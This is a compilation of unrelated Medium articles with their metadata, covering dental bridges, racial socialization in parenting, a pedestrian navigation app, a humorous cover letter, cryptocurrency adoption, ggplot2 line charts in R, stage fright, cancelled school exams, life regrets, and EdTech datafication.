Cosmetic Dentistry: An Overview | A fixed restoration to replace one or more missing teeth, a dental bridge is a false tooth or teeth generally made of crowns held in place by the abutment teeth on either side of the gap.
They look, shape, and function like natural teeth and are custom-made for every patient, mostly from porcelain.
A typical dental bridge has two parts, An Abutment teeth to lend support on each side of the bridge and Pontics, the false tooth that fills in the gap and attaches to the crowns.
They can help restore the teeth lost to disease, an injury, decay, or a failed root canal and are particularly helpful for patients who can’t get implants for medical reasons.
The bridge helps to restore the smile, the ability to chew properly, the speech and pronunciation and help to maintain the shape of the face while also deterring the remaining teeth from moving out of the right position
It is a quicker procedure and doesn’t require invasive surgery unless the bridge is supported by implants. It has a faster recovery time and is a more affordable option
There are mainly four types of Dental Bridges
Traditional Bridges
Cantilever dental bridge
Implant-supported dental bridge
Maryland dental bridge
The protection and longevity of the dental bridge can be ensured with regular brushing and flossing, regular professional cleanings, and a balanced diet.
The cost of a dental bridge is affected by many variables like the type of dental bridge chosen, number of teeth needed to fill the gap, the materials used, the difficulty and complexity of the placement, and any additional treatments for other dental issues such as gum disease
A dental bridge aids in restoring the look and function of the mouth in the process boosting morale and self-confidence.
An appointment with Dr Gaurav Sharma at Kirkland Premier Dentistry for a discussion about different replacement options can help you know if a dental bridge is a right choice for you.
Content originally published on Kirkland Premier Dentistry | https://medium.com/@kirkland-premier-dentistry/cosmetic-dentistry-an-overview-9fd01816efcb | ['Kirkland Premier Dentistry'] | 2021-12-31 06:02:01.017000+00:00 | ['Cosmetic Dentist', 'Dentistry', 'Dental Care', 'Dentist', 'Dental'] |
Why We Can’t Breathe: Calculating, Locating & Communicating as Parents | Dr. Howard Stevenson
I once wrote, “Parenting is a life-long acquaintance with helplessness.” (Stevenson, Davis, Abdul-Kabir, 2001). This was especially true for my two boys when I and their mothers taught them how to engage racial politics in healthy ways. My oldest is African American-Filipino and my youngest African American. Everyday I think about them, my joys and my fears spike to a 10 out of 10 on the stress scale. They are my world and yet that phrase reflects the depth of my fears. I feel helpless most days on how to protect them.
I believed their lives might be burdened with the pressures of systemic and face-to-face racism before they were ready to deal with it. I worried that I might not adequately protect them from the daily subtle and blatant racial insults I experienced growing up and as an adult. I struggled with foisting my own life experience on theirs by telling endless stories of how I had to walk through the snow to get to school while dealing with racism every day of every year, with no clothes or shoes.
Well, perhaps I’m exaggerating about the snow part.
And while racism doesn’t show up every day, it lingers in the atmosphere of every room like a chill you can’t see but feel in your bones. But if our research in racial socialization and literacy (or talking to children about managing racial politics) has taught me anything, every racial story can be healing and deserves a hearing, no matter how painful or how subtle.
Still, parenting your child to survive life challenges is differently stressful than parenting them to transcend racism from social interactions around skin color, size, language, mannerisms, and style. Our research has shown that talking to our children about racial politics promotes well-being because it prepares youth to make sense of confusing and hostile racial encounters. Research has shown for over two decades that youth who say their parents talk to them about racial pride and discrimination are youth who score lower on measures of sadness, anger, and stress, but who also score higher on measures of well-being and academic success.
And while racism doesn’t show up every day, it lingers in the atmosphere of every room like a chill you can’t see but feel in your bones.
While those relationships between racial talking and child well-being are important, we now know we have to provide children and youth racial coping skills they can use before, during, and after racially stressful encounters. The key questions in this new direction is “How well do our parental strategies prepare children for not just systemic racism but the racial stress that comes with these daily in-the-moment rejections?
Racial stress has been found to be harmful to one’s focus, motivation to achieve and compete. Since talking about race in this country is difficult, explaining to our children how to cope with racial rejection can be very stressful.
We know now that when parents give “The Racial Talk,” giving it once is not enough. Children and parents need many “Racial Talks” that are funny, sad, nuanced, complicated, creative, explicit, and interactive and can be delivered at any time and place. Messages and slogans about racial pride and racial hostility are not enough. We need to teach our children to appreciate how they feel when confronted with racism. We need to help them take stock of the impact of those painful or subtle racial rejections and assess the toll on their bodies, minds and souls. We need a racial literacy to teach them the emotional strategies and verbal comebacks that will help them beyond resilience and surviving to thriving and transcending racism. Toward finding their voice.
So I’ve proposed that parents use 3 racially healthy coping strategies when telling or listening to stories about racial politics to and with their children. They are Calculate, Locate, and Communicate.
Following each strategy, the parent must remember to breathe and exhale slowly. The first racial coping skill is to calculate on a scale from 1 to 10 how stressed out you feel at the moment you are anticipating, engaging, remembering, or sharing the racially stressful encounter. A “10” means to “I feel very stressed right now,” while “1” means “I’m not stressed at all.” Then breathe and exhale.
The second skill is to locate on your body where you feel the most stressed. Breathe and exhale slowly again. The more specific you can be about the effect of the stress on that body part, the more you will be able to manage it (“I can feel butterflies in my stomach and they are spreading throughout my upper chest area and into my throat so much that I can barely speak”).
The third racially healthy coping skill is to notice your self-communication during the racial encounter. What do you say to yourself during the memory or the event? We call that “Self-Talk.” Then do you see anything during the memory or the event? We call that “Self-Imaging.” What do you notice about yourself (thoughts, emotions, and body reactions) and do you have someone to share that with? Not alone.
Calculating, Locating, and Communicating followed by breathing and exhaling will help you be less overwhelmed, more prepared and more clear when you tell your racial story to your child. Then you can spend most of your energy focusing on your child’s experience of the story and be emotionally available as they have questions or want to practice what you are speaking to them.
So, parental helplessness can be a positive experience if we calculate, locate, and communicate while we speak to our loved ones. So instead of “Talk the Talk,” we encourage parents to “Walk the Talks” with clarity and practice. To “Walk the Talks,” parent or guardian racial storytelling should affirm the behaviors, identities, and culture of their children with clarity (“Make it Plain”). Secondly, remember practice doesn’t make perfect, “perfect practice makes perfect.” Our children need to hear our racial stories of tragedy and triumph so they can be able to tell us their stories of racial rejection and uplift, with humor and confidence.
The African proverb, “The lion’s story will never be known as long as the hunter is the one to tell it” reveals the importance of how we don’t have to remain helpless in the wake of racial confusion by following society’s scripts of racial avoidance, apathy, and colorblindness. If as parents we can learn to write our own scripts of racial coping for our children, “Walk the Talks,” we all will breathe and exhale easier.
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Dr. Howard Stevenson, founder of Lion’s Story, is a nationally recognized clinical psychologist and researcher on negotiating racial conflicts using racial literacy for schools, community mental health centers, teachers, leaders, police and parents. He serves as the Executive Director of the Racial Empowerment Collaborative (REC) at Penn, which is designed to promote racial literacy research, training, and programming in education, health, community and justice institutions. Dr. Stevenson is also the Constance Clayton Professor of Urban Education, Professor of Africana Studies, in the Human Development & Quantitative Methods Division of the Graduate School of Education at the University of Pennsylvania. | https://medium.com/lions-story/why-we-cant-breathe-calculating-locating-communicating-as-parents-9f887945542a | ['Lion S Story'] | 2019-12-18 13:48:21.386000+00:00 | ['Racism', 'Race', 'Diversity', 'Parenting', 'Communication'] |
MapinHood is the new Navigation app for People, not Cars. | Why MapinHood?
GPS Navigation was never really built for pedestrians. It was originally a military technology that then trickled down into the civilian population through the use of GPS navigation for vehicular travel. Since then, routing engines that run the navigation apps we are so used to today have all been built and optimized for cars, not people. It’s all about routing for speed over longer distances and doesn’t consider the plethora of variables that can affect pedestrian travel. For example, for a person using a wheelchair, a staircase in front of the entrance to your destination can be quite annoying.
Image from Shutterstock
Pedestrian navigation has always been an add-on feature and attempts at improving pedestrian safety and accessibility have only shown limited results. For instance, ‘In 500 m, turn right’ is simply not enough information for sight impaired pedestrians. A data gap exists when it comes to sidewalks and walkable spaces which include a collection of real-world items that have no digital footprint on a map. The ability to view and filter these items will allow for pedestrians to interact with their environment on a much deeper level: increasing efficiency, utility and convenience, but most importantly, pedestrian safety and accessibility.
Graphic by MapinHood
MapinHood runs on a customized AI routing engine that has been built for the complex nature and flexibility of pedestrian travel, resulting in the most personalized and inclusive mobile navigation experience. You can always know what’s happening on the sidewalks of your city with MapinHood as it gives you instant data on crime, lighting conditions, accidents, construction hazards, city amenities, food carts, street murals, and more.
The Power of the Crowd
The MapinHood app makes it as easy as possible for the general public and mapping communities to drop tags that represent real world items like water fountains, basketball courts and stairs. There are 4 simple categories of tags and they are: Amenities, Points of Interests, Hazards and Path Features. Users can also adjust the influence of the aforementioned tags on surrounding paths and sidewalks such that a basketball court would have a radius of 25 meters whereas a bench would have an imprint of 3 meters.
Whether its temporary things like icy patches or permanent fixtures like a post box, you can find it, tag it or get to it on MapinHood. The data contributions via users will not only benefit yourself the next time you’re on a long walk and are desperately looking for a public washroom but can also have massive positive impact for people with mobility needs. By logging accessibility relevant data like ramps, powered entrances or narrow sidewalks that are littered with potential hazards; the contributions could seriously improve the pedestrian experience for people who use wheelchairs and people living with vision loss or blindness.
Screenshot of Tagging Menu — Graphic by MapinHood
Personalized Pedestrian Navigation
The settings menu on the MapinHood app allows for tailored and customized navigation that best suits you as the user. The latest version can avoid stairs, avoid steep slopes, avoid dark streets, avoid high crime areas and avoid all known or tagged obstacles (most useful for users with sight impairment). You have full control over your routing preferences and can decide what tags are important to you hence displayed on your map. Lastly, you can conveniently share your live location with family and friends.
Screenshot of Settings Menu — Graphic by MapinHood
See What’s Around You
A convenient and subtle function of the app lies within it’s search bar. When tapped, the search bar features a blue pin that you can click to reveal a list of nearby tags and how far they are from you. In essence, you can get directions straight to whatever you need in your city, whenever you need it.
Screenshot of Nearby Tags Menu — Graphic by MapinHood
Earn Points and Achievements by Contributing
MapinHood lets you add some character to the whole pedestrian navigation experience. Pick your own avatar and complete nearby quests by verifying tags and their descriptions. Quests are shown as question mark tags on the map and be clicked to reveal the tag type and the user that created it.
Compete against others for contribution bragging rights! The profile section features a ‘Leader Board’ that shows you where you stand compared to your friends as well as the world in terms of contributions.
Screenshot of Profile Page — Graphic by MapinHood
‘Geo’ Notes for You and your Friends
If you tap and hold on any location on the map, a text box appears where you can save ‘geo’ notes (text and audio) to serve as reminders to yourself or messages for friends. So the next time you forget something at the grocery on your way home, try leaving yourself a reminder that prompts you right when you are actually walking by the store. Similarly, the note feature also allows you to send your friends a list of recommended places or you could just send them on a wild goose chase or treasure hunt all together!
Screenshot of Notes Page — Graphic by MapinHood
Always Get There on Your Own Terms
Always get there on your own terms with real-time updates from the MapinHood community. Take advantage of faster routes that utilize shortcuts through walkable spaces and pedestrian areas. If you’re in an unfamiliar area, take the safest path home at night that avoids dark streets, risky crossings and ‘trouble’ based on lighting, crime and accident data.
Get barrier free routes that use accessibility related data and gradient data to lead you straight to an accessible entrance at your destination while avoiding any potential obstacles along the way. If it’s a beautiful day and you’re in the mood to explore new places, take the scenic route to discover green spaces, historic sites, city murals, local hotspots and more.
MapinHood Beta goes Live on Valentines’ Day!
The MapinHood team is opening up it’s beta on both IOS and Android on February 14. The app will be available to Canadians and will be limited to Toronto to start with. Other locations will go online in the coming months.
Sign up to stay updated and be the first to download the app in your city!
MapinHood Logo — Graphic by MapinHood
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For our terms and conditions, please see: https://mapinhood.com/terms | https://medium.com/@mapinhood/mapinhood-is-the-new-navigation-app-for-people-not-cars-f4f08b4ad78d | [] | 2020-02-12 18:56:51.874000+00:00 | ['Mobility', 'Travel', 'Navigation', 'Crowdsourcing', 'Apps'] |
Comedic Cover | Photo by Minh Pham on Unsplash
I am confident I would be a great fit for this job seeing as how I am small and compact, I am more versatile than a Prius and more focused than a Fusion. I have two wonderful kids who have no sense of humor when it comes to me, but we have a third on the way so hopefully, he will be the one I actually love. I was a former chef of fourteen years, but find it more pleasant pressing ink than burgers. The lovely pandemic forced me home with my two “amazing” kids so my wife could take the easy route and work non-stop pregnant for a career. I write, I cook, I beat my kids, and pet my dog. I’m still able to make my grandmother laugh even after she passed away years ago. My goal is to make MY world laugh because apparently, my wife’s world is our children. Thank you for your consideration or not. You’ll be sorry either way. | https://medium.com/@timvarner1989/comedic-cover-d3ea7fcd59b7 | ['Tim Varner'] | 2020-12-17 18:03:35.324000+00:00 | ['Funny', 'Life', 'Job Hunting', 'Job Search', 'Comedy'] |
Why most people outside of the Blockchain/Cryptocurrency industry aren’t in it yet… | Among the hype of volatility, internet scams and regulation. There are many reasons for why those hearing about blockchain and cryptocurrency simply don’t get involved.
Here we have listed what we believe to be the top 5 reasons why new crypto discoverers have not yet taken the dive and got themselves in the game:
1. Lack of understanding
Photo by Markus Spiske on Unsplash
If not single-handedly, then this is surely the most probable reason for people to not get involved.
To be honest, we could theoretically say that this logic applies to nearly everything, in the sense that people tend to shy away from or fear things that they do not understand, sometimes regardless of what possible gains or positive upsides that there is to have. After all, we are human, so having this type of reason and exercising caution is natural, when dealing with the unknown or unexplained.
With cryptocurrencies and blockchain being so technical in nature and FIAT currencies being so embedded in world culture and society, it’s hard for the average person to get they’re head around the new £5 note, let alone a virtual currency.
2. Bogus/Negative News
Photo by Matthew Brodeur on Unsplash
Due to much action happening within the last 18 months and so much public attention turning to cryptocurrencies for the first time, there has been much bad press or FUD being spread about Bitcoin and other cryptocurrencies. This is normally done through most major news outlets and we have seen every major network from the BBC, Fox News, CNBC, Sky News, CNN and more, constantly talking about the blockchain/crypto industries in a negative light.
We’ve even seen, on Twitter, big crypto news outlets, such as Coin Telegraph being called out by enthusiasts for putting out incorrect or negative press. Although, this seems to happen much less with the crypto based outlets, it’s still something that deters people who are thinking about getting involved.
We have an article coming up on this “trend” shortly, watch this space!!
3. Knowing someone who lost money
Photo by Sara Kurfeß on Unsplash
This seems to be a popular notion among skeptics.
I remember working for a company, in an industry that could change the game with the use of Blockchain, back in 2014. This was around 2 years after I’d first started researching Bitcoin and cryptocurrencies.
When I started to get heavily into my studies, I mentioned an idea I had to my manager at the time, as something the company could get involved with to be ahead of the curve in years to come. The response I received was not cold, however I’m sure that I'm not the only one who has had experience of such a situation. My manager was a cool guy and he was very concerned about things such as e-fraud and future technologies, he’d always had my back in the past, but this time it was a flat “No”.
Once I said Bitcoin, he proceeded to tell me about “A mate…”, who had lost over £100k investing in Bitcoin, due to the Mt.Gox fiasco of 2013. When I tried to reinforce my knowledge by letting him know, that the situation was not due to Bitcoin or the Blockchain itself, for any technical reason, other than Mt.Gox being careless as an exchange. I was met with a , “Nah, not for me thanks…”, which I respected, as he had told me his friend had since sold all of his BTC, so I knew it would be a one sided conversation.
I remember thinking, wow, all it takes is some reading to know better, but I suppose when you’ve seen someone lose so much, it can be hard to see the positives.
However, I remember closing the conversation by saying, “Your mate should have held on to that Bitcoin. He’d be rich come 2016!”
4. Personally losing money before
Photo by Jeremy Dorrough on Unsplash
How many of us have met that guy, you know the one who invested in Bitcoin, but then did not know what to do with it?! Maybe, the guy who invested, but couldn’t read the market, or thought it too volatile?!
This type of person has normally lost something to Bitcoin investment before, if not then they’ve lost money on other types of trading platforms, usually Forex/Binary, or some random internet scam, from our experience of speaking to others.
There’s nothing wrong with this type of person feeling like giving up, however, a little bit of research and perseverance could change their mind. If you have lost money before in trading, then try again, evolve your methods, analyze old trades and current/new trends. Improve your knowledge, review poorly performing methods. Talk to traders and techies alike to expand your knowledge of both trading and the crypto/blockchain industry.
Once you know more you can do more, one thing for sure is that Blockchain and cryptocurrencies are here to stay, so don’t get discouraged, keep pushing, and never give up!!
5. Ignorance
Photo by Dmitry Ratushny on Unsplash
I know many of you may have been thinking where this was at in the list, or maybe that it’s not even in the top 5 reasons at all, but in our experience ignorance is definitely a major reason for a large proportion of people not getting involved with cryptocurrencies.
I mean, how many times have you started a conversation with someone about your interest in crypto, only for them to give you one of the reasons listed above, without even listening to what you have to say?
Many people have been exposed to one of the above four reasons, either directly or indirectly and this will cause them to suffer from the FUD that they are picking up, but this is normally due to them not deciding to do the research for themselves, so I guess we’ll call it as it is. We’re sure that one day, like many, they’ll come around to the changes being made in the world by this growing technological advancement.
If you agree and/or have had similar experiences, you might want to read our article, Conversations to avoid, if you’re into Blockchain and Cryptocurrency.
Thanks for reading!
We hope this article has been informative for you. If you liked it, remember to follow us for more!
Please feel free to like, comment and share below, we’d love to hear your thoughts and suggestions!
Don’t forget to check out our website https://btcbros.co.uk | https://medium.com/btcbros/why-most-people-outside-of-the-blockchain-cryptocurrency-industry-arent-in-it-yet-b5c1ebdd93d2 | ['Btc Bros'] | 2018-12-23 22:34:11.160000+00:00 | ['Money', 'Ideas', 'Blockchain', 'Cryptocurrency', 'Bitcoin'] |
How to Make Stunning Line Charts in R: A Complete Guide with ggplot2 | Make your first line chart
R has a gapminder package you can download. It contains data on life expectancy, population, and GDP between 1952 and 2007. It’s a time-series dataset, which is excellent for line-based visualizations.
Here’s how to load it (and other libraries):
library(dplyr)
library(ggplot2)
library(gapminder)
head(gapminder)
Calling the head() function outputs the first six rows of the dataset. Here’s how they look:
Image 1 — Head of Gapminder dataset (image by author)
R’s widely used package for data visualization is ggplot2 . It’s based on the layering principle. The first layer represents the data, and after that comes a visualization layer (or layers). These two are mandatory for any chart type, and line charts are no exception. You’ll learn how to add additional layers later.
Your first chart will show the population over time for the United States. Columns year and pop are placed on X-axis and Y-axis, respectively:
usa <- gapminder %>%
filter(continent == "Americas", country == "United States")
ggplot(usa, aes(x = year, y = pop)) +
geom_line()
Here’s the corresponding visualization:
Image 2 — Population growth over time in the United States (image by author)
The visualization is informative but as ugly as they come. The following sections will show you how to tweak the visuals. | https://towardsdatascience.com/how-to-make-stunning-line-charts-in-r-a-complete-guide-with-ggplot2-91e5a607ea46 | ['Dario Radečić'] | 2020-12-16 14:48:52.004000+00:00 | ['Data Visualization', 'Ggplot2', 'Towards Data Science', 'R', 'Data Science'] |
Front-End Notları -5- Farkınızı Ortaya Koyun | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/webprogramlama/front-end-notlar%C4%B1-5-fark%C4%B1n%C4%B1z%C4%B1-ortaya-koyun-a68ff3437d90 | ['Gökhan Dökmetaş'] | 2020-12-23 10:16:00.531000+00:00 | ['Yazılım', 'Yazilim Gelistirme', 'Web Development', 'Web'] |
How I Would Free My Younger Self From Stage Fright | Photo by Vince Veras on Unsplash
I played the trumpet as a kid — from third grade all the way up through high school.
In my estimation, I was okay. I wasn’t insanely gifted, but by most metrics I was a solid member of the groups that I played in.
Except when the spotlight was on me. When I played a solo, or when there was no place to hide as a member of a small ensemble, I would get incredibly nervous. So nervous, in fact, that my throat would start to close up and my hands would start to shake uncontrollably.
It’s pretty much impossible to make a trumpet sound good in such a state. And as a result, I tanked pretty much every single solo that I had.
For years I dealt with this. And you’d have thought that after one or two experiences with such public humiliation, I’d do everything I could to avoid the spotlight — or even the instrument as a whole
But no. I repeatedly — and I mean repeatedly — put myself into situations where I would be unable to play due to nerves. Solo after solo, ensemble after ensemble, the amount of times that I faced down my fears and failed to rise above them is…concerning, from a psychological perspective.
I was determined to fix this weakness. And yet — I never did anything to try and actually deal with it.
I didn’t change how I practiced. I didn’t reach out to anyone for help. I didn’t do any research on performance anxiety or how to conquer it.
And I never beat back that fear.
It’s been a long time since I played the trumpet. But I’ve learned a lot about how to combat stage fright since then — some of it from experience, and some of it from Charles Duhigg’s excellent book The Power of Habit. And given a time machine and a five minute audience with my younger self, this is how I would advise him to work through his crippling fear of the spotlight he so desired:
Practice makes automatic
Most of these solos were pretty simple — nothing I couldn’t handle when I wasn’t under the pressure of performance. As a result, I didn’t spend a lot of time practicing them.
Now, I know that I should have.
Now, I would practice those solos over and over and over again. I would have them memorized up, down, and sideways. I would have them practiced to the point where you could wake me up in the middle of the night, give me a trumpet, and hear a perfect rendition of the musical segment from my half-conscious self without me even knowing where I was or what I was doing.
One of the things I learned from The Power of Habit is how useful it is to practice complex behaviors to the point where their execution is automatic. Duhigg’s example was an NFL coach whose precision in designing and assigning drills allowed his players to turn their practice into reflex, improving both reaction time and execution by removing thinking from the action.
With much of my brain being occupied with how nervous I was, off-loading the actual music part to reflex would have helped me immensely. Practicing to the point of physical memorization — where my body took over the execution rather than my conscious mind — would have undoubtedly helped with my nerves.
Learn how to deal with physical stress
“Just relax.”
This is probably the worst in-the-moment advice that you can give someone dealing with performance anxiety. It’s like telling a drowning man to stop inhaling water.
After all, if the person knew how to relax, don’t you think they’d already be doing it?
With that said — it’s entirely possible to practice physical relaxation techniques prior to moments of performance anxiety so that you can use those techniques during moments of stage fright — the same way you can have someone practice swimming prior to being in a drowning situation so that they know what to do while they’re dealing with it.
For example — I used to flirt a bit with meditation. It never progressed into a serious relationship — but there was one particular exercise that taught me how to relax during high-tension moments.
A few times a week, while trying to clear my mind, I would practice building and then releasing tension in my body. I would first clench my toes, hold for a moment, and then relax them, focusing on the feeling of how tight they were followed by how relaxed they felt. Then I would do the same thing with my calf muscles. Then I would continue onwards up my body, tightening and relaxing all of my joints and major muscle groups, right up through the muscles in my head.
This taught me both how to recognize physical tension and then force myself to release it — and it almost immediately had a real impact on my life.
At the time, I hated driving. I didn’t have a lot of on-the-road experience, I’d barely escaped a few serious accidents, and every time I found myself behind the wheel I couldn’t wait until the vehicle came to a stop.
But soon after starting that clench-hold-release-reflect exercise, I realized that I was incredibly physically tense while driving around. Oftentimes, my thigh muscles were clenched so hard that my legs were practically shaking — and the physical tension and the low-key anxiety I had around driving were feeding into each other in a vicious little loop that made the experience miserable for me.
But because I had been practicing how to “force” my muscles to relax, I started being able to do the same while behind the wheel. And after a little practice, my ability to remain physically relaxed while driving led to a massive reduction in the anxiety I experienced on the road. And now, although I don’t really love being behind the wheel, driving is now a neutral activity rather than one to dislike.
Doing this same sort of exercise back when I was playing the trumpet would have undoubtedly helped me to ease up some of the physical tension and shaking that I dealt with that led to such poor performances.
Don’t try to NOT think about things — especially outcomes
“Try to pose for yourself this task: not to think of a polar bear, and you will see that the cursed thing will come to mind every minute.” — Fyodor Dostoevsky
So much of my time in the build-up to and during these failed trumpet solos was spent telling myself to not think about how nervous I was.
Like Dostoevsky’s white bear, this only made my anxiety more invasive and pervasive.
I found a somewhat similar sentiment echoed in The Power of Habit:
The Colts started the game strong, but before the first half ended, they began falling apart. Players were afraid of making mistakes or so eager to get past the final Super Bowl hurdle that they lost track of where they were supposed to be focusing. They stopped relying on their habits and started thinking too much.
Just as thoughts of success and failure overtook the players’ carefully practiced on-the-field responses, my obsession with my own anxiety and my hopes for overcoming it only added fuel to the nervous dumpster-fire I regularly reverted to beneath the heat of the spotlight.
Trying not to think about stage fright doesn’t help. And neither does trying not to think about possible good or bad outcomes of each individual moment.
Now, I would try to force myself to think — specifically, about the music itself, and about all of the time spent practicing that particular piece (see the first step above). The NFL players in Duhigg’s book were able to rediscover their success once they were reminded to focus on what they had practiced instead of the outcomes of the game — and applying the same thing to my younger self would have helped me deal with stage fright while in the moment.
Focus on the mundane
On the heels of this last item — having a whole list of other things to focus on — even if small — has helped me through other moments of performance anxiety over the years.
Playing with a musical group offered one big way to get my mind off of my own stage fright — and that was the sound of my fellow musicians. One thing I could have done was try to focus on the output of a single instrument, zeroing in on that sound in order to divert my thoughts away from the shakes and the failure that I feared.
I also could have focused on my breathing — although being told to “focus on breathing” wouldn’t have helped if I didn’t know what that meant. Now, I would pay close attention to the feel of the air as it went through my nasal passages — or the increasing tightness and then looseness of my chest as I inhaled to capacity and then exhaled.
Even drilling down to the feel of certain things like the weight of the instrument in my hands or the texture of my dress pants on my legs could be enough to distract me from anxiety. Focusing on the font of the sheet music, or on a particular ink blot or a stain on the paper could provide another similar diversion from the mounting stress of the approaching performance
The five senses — sight, sound, smell, taste, and touch — are great avenues for things to focus on instead of anxiety. These distractions, although small, can be of massive value.
—
I wish I had known all of these things fifteen to twenty years ago. At the same time, I’m glad that I learned them, even after the fact — because now I can pass them on! Stage fright, performance anxiety, whatever you want to call it, is very manageable — you just have to put in the time and the effort to combat it before it happens, so that you know how to deal with it in the moment. | https://medium.com/@mortdecai-jones/how-i-would-free-my-younger-self-from-stage-fright-2e9489cc0f89 | ['Mortdecai Jones'] | 2020-12-16 13:31:27.526000+00:00 | ['Performance', 'Self Improvement', 'Anxiety', 'Self', 'Stress'] |
SUCCESS AHEAD NO EXAMS' | SUCCESS AHEAD NO EXAMS'
A piece of paper can not decide anyone’s future' Most popular quotes during exam times. Either you call it unfortunate or a opportunity for bright future of education as the results seems to be prepared without direct board exams. Earlier the 10th grade and later on a random Tuesday,12th students school life came to an end after PM’s tweet.
The question triggering my mind is that will these students be regarded as a better batch in upcoming future during job fundamentals. Success expectations from a batch with digital based education and later on no exams year will be a challenge for a the students itself at its priorities.
To be in present before moving ahead in future a lot, what the present consequences be that a student with good communications with academic authorities might grab better marks than deserving one. What options knock the deserving one is that you can show your performances on exam conducted later in better situations, says PM's tweet but question hammering the students is that, ‘Will he/she be eligible for his dream college at that time?’
The contouring questions are firing like a machine gun encounter, but the solution is like a conundrum. | https://medium.com/@shivamraj9155395201/success-ahead-no-exams-79826f941533 | ['Shivam Raj'] | 2021-06-17 03:37:06.071000+00:00 | ['Examination', 'Success', 'Covid 19'] |
5 Life Lessons Told Over 5 Glasses of Wine from a 99-Year Old Filled With Regret | 2. I Wish I Was More Willing to Forgive
“Lara, I can tell you countless examples of when this applied to my life. Professional, personal, you name it, I was known for holding an intense grudge. But nothing hurts me more than two scenarios in particular. One in which I was unable to forgive my mother. And one in which I was unable to forgive my closest friend.
My mom and I never had a great relationship. She had a very difficult life. My father left before I was even born, so I’m sure that was devastating. Then she’d go from man to man to man searching for love, support, care. But it seemed she always found the wrong one. She always found the abusive types, the drinkers, the yellers, the criminals, the deadbeats. When I was old enough to understand her pattern, I attempted to put an end to it.
When I was 19, I was already off at college, and I came back to my mother overjoyed about having finally found ‘the one.’ A good egg she told me. And he did seem fine, he really did. Until I saw him one night at a local bar with his hands all over a woman who was certainly not my mother.
I told my mom. I had to, I was honest, direct, no matter the consequence. And she berated me. She called me names I had never been called before. She accused me of ruining her happiness. Ruining her life. She told me she never wanted to see me again. So that’s what happened. I never saw her again. I never forgave her for how she reacted to me that day. I learned she died years later. We hadn’t spoken since that day.
The other person I never forgave was my closest friend. I met him at work. He was strikingly handsome, charming, all that good stuff, you know what I mean Lara. But he was not available. He was married to some trust fund baby, and as flirtatious as he always was, I would not stoop so low as to sleep with a married man. After working together for fifteen years, the day finally came where he told me he and his wife were splitting up. This was my chance. I waited a few months before I finally made my move.
We were walking home after a few work drinks as we often did, and I just threw myself at him. I didn’t have a plan because I just expected everything to fall into place. But he rejected my advance. He told me we were better off as friends, and he didn’t see me that way. I flipped.
I brought up every single moment in which I believed I was the one for him, and he apologized for giving off the wrong signs. He asked if we could remain friends still, but I refused. He moved to a different team within the same firm, but we never spoke.
I never forgave him for not feeling about me the way I felt about him. I lost my best friend.
When it comes to my mom Lara, I want to tell you this. Words are more reflective of the person saying them than they are of the person they are directed toward. My mom said nasty nasty things to me, which she probably would have said she didn’t mean had I given her the chance to apologize. But what I realized was that her words were more reflective of how she felt about herself. They revealed her insecurities, her flaws, her hidden beliefs about the life she was living. When you feel like you cannot forgive somebody because of the words they said, please remember this.
The situation with my best friend is complex. But my main message is this. You want to be surrounded by people who make you a better person. Don’t push people away who make you better. Situations change, feelings change, we must adapt and accept change. I was resistant to change because I was so certain about the future. My interpretation of the future. I wish I could have put my ego, my pride, my feelings aside and just be friends with him, because my life was honestly worse off without him.
Forgive for you, Lara, not for others. Living with the pain of losing somebody because of a grudge or vendetta, or a feeling that I could not control, well it almost killed me on several occasions.”
Lara simply smiled and filled their third glass with a Riesling, a smooth white wine. | https://medium.com/mind-cafe/5-life-lessons-told-over-5-glasses-of-wine-from-a-99-year-old-filled-with-regret-e05c9fb48a66 | ['Jordan Gross'] | 2020-06-22 17:13:19.444000+00:00 | ['Inspiration', 'Life Lessons', 'Psychology', 'Life', 'Mental Health'] |
Towards Datafication? | Does data know best? Photo by Franki Chamaki on Unsplash
Understanding the risks associated with EdTech and the drive towards datafication of education is important.
“Government gets AI in transport, in health sciences, in retail,” he says. “It does not get AI in education — it doesn’t get the potential, it doesn’t get the risks. What’s more, it doesn’t know that it doesn’t get it.” — Political commentator and historian Sir Anthony Seldon’s interview with the Financial Times
During the COVID-19 pandemic schools and universities around the world rapidly closed and moved to online learning. Big tech companies such as Google and Microsoft have updated their education packages and software to accommodate the surge in demand.
The pandemic inevitably created markets best suited to the technology industry which gave these companies an advantage in the education sector. As the months went on new habits and norms formed which created a collective consensus around the need to continue learning during the different stages of the virus whilst maintaining high educational standards. However, the aims of government departments and big tech have longer-term plans to interweave EdTech into the day to day lives of students, teachers and educational institutions. Interestingly, the global technology education market is to reach $341B by 2025 so, it is even more important to understand the motives and the risks of EdTech start-ups.
EdTech Start-ups
AI education start-ups such as Up Learn, Knowledgehook and others aim to improve grades for all students by offering personalisation and customisation of learning for each student. It does this by learning the patterns of when a student remembers or forgets a piece of information, akin to reinforcement learning. This allows for more data about student performance and behaviour to be collected. This in theory is meant to help teachers update teaching strategies and inform students of their strengths and weaknesses. However, there is a risk that data points can also be quantified into behavioural insights. For example, looking at the recruitment industry many employers have adopted gamified approaches to sieve out candidates during the early recruitment process.
For example, the candidate downloads an app such as Sky Rise City. Playing the tasks on this app then allows the company to track and collect 5000 data points on a candidate’s personality, usually based on the big 5 personality model such as openness and neuroticism. The app determines these traits through many variables such as speediness of clicks and time taken to bounce back from failure. The collection of personality traits is highly contested. One of the criticisms is not just about the collection but how it can be used and manipulated without the consent of individuals. Most notably, seen with the Cambridge Analytica scandal. Looking back to EdTech tools it shows the slippery slope on how behaviour data can be quantified and manipulated.
Datafication
Focusing now on data and quantification, a popular article by William, Eynon and Potter analyses how the pandemic spurred the biggest EdTech social experiment ever seen. The ‘experiment’ is a chance to create and collect vast amounts of student, teacher and parent data. The experience of the experimental subjects e.g. students will start to leave digital footprints in which data engineers clean up, ready for analysis for future policy. They argue that the experiment will redesign educational policy and culture and what education is and what it will look like beyond COVID-19.
For EdTech companies interested in the monetisation of data the virus is an opportunity for conducting and learning from mini-experiments, it is similar to how social media companies use A/B testing to increase user engagement.
One of the problems researchers and policymakers have is using data to determine causality. The pandemic has created a natural experiment. For example, since around March students were required to sit all their exams online. This allows enough data for comparisons to be made with previous years where exams took place in exam halls. This allows for analysis without the problem of selection bias. Supporters suggest that this is a great opportunity to prove the success of virtual education over in-person education.
What happens if the research shows that students performed better online? Do educationists have a responsibility to adopt EdTech tools and online learning? Is educational success only measured by grades?
